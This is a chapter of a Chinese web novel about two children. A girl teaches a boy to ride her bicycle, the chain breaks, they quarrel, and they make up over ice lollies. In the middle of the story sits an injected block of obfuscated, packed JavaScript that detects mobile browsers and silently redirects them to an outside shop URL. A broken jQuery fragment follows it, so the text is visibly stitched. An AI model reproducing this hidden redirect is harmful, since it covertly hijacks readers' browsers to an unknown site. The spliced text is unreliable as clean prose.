“我们和好吧。”
这样的话，很多年以前，程雨难听到过。
*
那个晚自习之后，程雨难和陈遇安成为了朋友。
程雨难从来没有像现在这样喜欢上学，每天7点10分雷打不动准时出门。
出门了，却不下楼，而是站在门口等待。
对面的门每次都会在5分钟之内打开。
一分、两分、三分……陈遇安出门，把没喝完的牛奶塞到他手上，蹲下身飞快系鞋带。
程雨难认真盯着她系鞋带的动作，他暗中学了好久，最后才学会这种快速系鞋带的方法。左一勾，右一勾，两手指交叉又穿过，一个蝴蝶结就系好了。
安安的手，好灵巧。
手上一空。
女孩拿走牛奶，飞快下楼，催促他一起。
“快走，不然要迟到了！”
程雨难跟在她后面，蹬蹬蹬往下跑，到了楼下，陈遇安就骑上自行车，飞驰而去。
每一天，他们的相遇就在这出门到下楼的三分钟里。如果下雨，就会再延长十五分钟。
下雨的时候，陈遇安骑不了车，她会和他一起走过去。
每次听到妈妈抱怨怎么又下雨了，程雨难都在心里觉得，雨天明明是很好的天气啊。
程雨难不会骑车，陈遇安骑上车走了，他就跟在后面跑。走路十五分钟的距离，奔跑起来只要八分钟。
后来陈遇安常常笑话他头脑简单，四肢发达。他想，他的四肢应该就是从这个时候开始发达的。
他跑得越来越快，跟在陈遇安车后。然后有一天，她和另一个骑车上学的男同学在路上遇见，他们一边骑车一边聊天，没有注意到他已经停了下来。
他也想要骑自行车。
原本程雨难想先自己悄悄地学，然后在某一天，和陈遇安一起下楼的时候，骑上自行车。
但面对陈遇安，他根本藏不住事，一不小心就泄露了自己的心思，陈遇安何等聪明，稍有苗头，就能被她敏锐捕捉。
“你是不是想骑自行车？”她扎了双马尾，吸着雪糕问他。
程雨难垂着头支支吾吾，不想承认的，但还是乖巧地点了点头。
安安会不会笑他不自量力？
他抬起眼，偷偷看她。
天气炎热，陈遇安三下五除二吃完一根雪糕，咬着棍子，从自己的车后座上下来，“简单啊。”她拍拍自己的车座，“你就用我的车练，我教你。”
期末考试结束，陈遇安不出所料又是年纪第一，离数竞班开课还有几天，她找了一天带程雨难去学车。
明园小区所在的位置是老城区，附近都是学校和老校区，道路狭窄不说，因为人员车辆来往多，交通十分混乱。
让程雨难在这里练车是万万不可的。
他们在几公里之外找到了一条封闭道路，新修的路面已经铺设完备，暂时还没有开放。
到了之后才发现知道这条路的不止他们，练轮滑的、练滑板的，还有和他们一样练自行车的，路上不算清净，但比起小区周围的街道，已经算是好得多。
陈遇安把车把手让出来，将人往车座上一按，就要让程雨难双脚离地踩踏板。
“安安，这样真的可以吗？”程雨难战战兢兢，在车上的身体不停左右晃动。
一个不稳，他差点摔倒，幸好一只脚及时踩住地面。
又是几番尝试，他还是无法稳定车身。
因为年纪小，完全没有防晒的概念，两人稚嫩的皮肤在太阳下晒着，各自的脸都晒得红扑扑。
陈遇安鼻头上全是汗，耐心渐失，“你好笨啊，就这样，然后这样，车就会动起来了。”
她从小就是高悟性选手，根本无法理解人为什么不能看一遍就会。
对程雨难的教学时间已经足够她刷完两套数学试卷，她有些后悔，但夸下的海口不能不应，不然有损她的颜面。
最终，她还是坐到了车后座上，像路上其他大人教小孩骑车一样握住车把手，用自己的双腿稳住车身，让程雨难试着找到平衡的感觉。
不得不说，这样的教学之所以存在，确实有它的道理。程雨难小心翼翼地感受、发力，自行车果然变得听话了。
陈遇安渐渐放手，更多地让程雨难自己操控，累了半天，总算是有了点成就。
路上练滑板的菜鸟不比程雨难好多少，练了半天还不敢双脚上板，陈遇安在心里暗暗比较，觉得程雨难不算最笨的。
但人可能就是经不起关注，那个被陈遇安在心里吐槽菜鸟的滑板少年双脚上板后，人就不受控制地朝他们所在的位置冲过来。
滑板下坡的速度很快，程雨难本来在专心致志地骑，等他看到的时候已经完全来不及躲开，安安还坐在后座，她会被撞到。
心里一慌，双腿的力道就不受他控制，自行车忽然猛加速，在快要撞到的时候急刹，车身一个漂移，直接绕开了滑板少年。
咔的一声响，有什么东西掉了下来。
程雨难低头，地上一截黑乎乎的金属。
链条断了。
这是陈遇安唯一的自行车，每天都要骑车上学下课，虽然自行车已经有些年头，但陈遇安一直很爱惜，经常会看到她在楼下提着一小桶水，用抹布擦车身，给车打气。
程雨难有些不敢看她的脸色，炎热的空气忽然窒闷。
“对不起……”
对面的人沉默地看着地上断开的链条，看了好一会儿。
“对不起有什么用！你就会说对不起。”她愤怒地推了他一把，夺过自行车把手。
这是外婆给陈遇安买的，她人生中的第一辆自行车，因为很爱惜，从来没有出过任何问题，她也就没有去过维修店，不知道链条可以换新。
链条断了，对她来说就和天塌了一样。
“他们说得没错，你就是个傻子，我就不应该教你！”
听见这话，程雨难握在车把手上的双手立刻松开，怯怯地，仿佛碰了自己不该碰的东西。
链条断了，车学不成了，回家也成了问题。
来的时候是陈遇安载着程雨难，现在车坏了，人和车都要想办法回去，好几公里的路程，走回去要走很久。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868967|212253||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
附近就是公交站，但自行车不能上公交，最后程雨难主动提出来她去坐公交，他会把车推回去。
天气热，人又气。正好陈遇安也一点也不想和他同路，转头就上了公交。公交车上，透过后玻璃，可以看见垂头丧气的程雨难推着自行车慢慢走的身影，他在她视野里越来越小。
公交车很快就没了影，程雨难低着头，连目送她的勇气都没有。
他在心里愧疚自责，沮丧到了极点，太阳明晃晃地照着路面，他却感觉前面一片灰暗。
安安不会再理他了，他把一切都搞砸了。
他果然是个什么都做不好的傻子，安安终于发现了，她会和其他人一样。
她不要他了。
一路上，程雨难不知背着手抹了多少次眼角，一根链条，也让他的天塌了。
不知走了多久，他忽然好像了陈遇安的声音，四下张望。
“喂，你看哪里啊？”那声音更大，“我在这边！”
公交站台上，陈遇安亭亭玉立地站在树荫下，手里还拎着一个透明塑料袋。
“你怎么走得这么慢啊，我等了好久都不来，来了么叫你好几声都听不到。才这么一会儿，你就把我忘在脑后了。”她走过来，不满地念叨，拿出塑料袋里的雪糕给他。
程雨难傻傻地看着她，一时忘了接。
她没有走，在这里等他。
陈遇安也不知道自己为什么要下车，看他一个人在路上孤零零地走，那一刻满肚子的气忽然就消失了。她在气头上的时候，对他说了那么重的话，换人肯定要和她吵起来，但他一声不吭地，还主动要把车推回去。
链条断了，也不全是他的错吧。
都怪那个滑板菜鸟！
“快接呀，不然要化了。”她推推他的手，向他示好，以为他心里在怪自己。
为了不让自己反悔，陈遇安干脆拿身上所有的钱买了雪糕。
她只顾着讲话，没有注意到程雨难的样子，他一张开手，她就惊讶地叫起来，“呀！你的手怎么黑成这样！”
程雨难手心黑乎乎的，又黑又油腻，他意识到自己手脏，连忙收起来背在身后，不想让她看见自己不好的样子。
哪知陈遇安忽然咯咯笑起来，“哈哈……你的脸，程雨难，我就不在了一会儿，你都干了什么啊。”
他没干什么，就是在路上试图修复一下链条，哪知链条上的黑油沾上就擦不掉了。他心里正难过，只想把坏掉的车推回去，根本顾不上擦手。
程雨难本来皮肤就白，脸上不小心蹭到手上的黑油，就成了黑一道白一道的花脸。
她笑个不停，笑得程雨难脸都红了，这下红的黑的白的，一张脸上色彩斑斓，更好笑了。
陈遇安干脆自己拆了雪糕包装袋，两手一手一根，一只给自己，一只递到他嘴边。
“我们和好吧。”
程雨难重重点头，“嗯”了一声，在那根雪糕上咬一小口，牛奶味的。
两人在公交站的树荫下，一口一口吃掉了雪糕，然后推着坏掉的自行车，在炎热的夏天里，一起走路回家。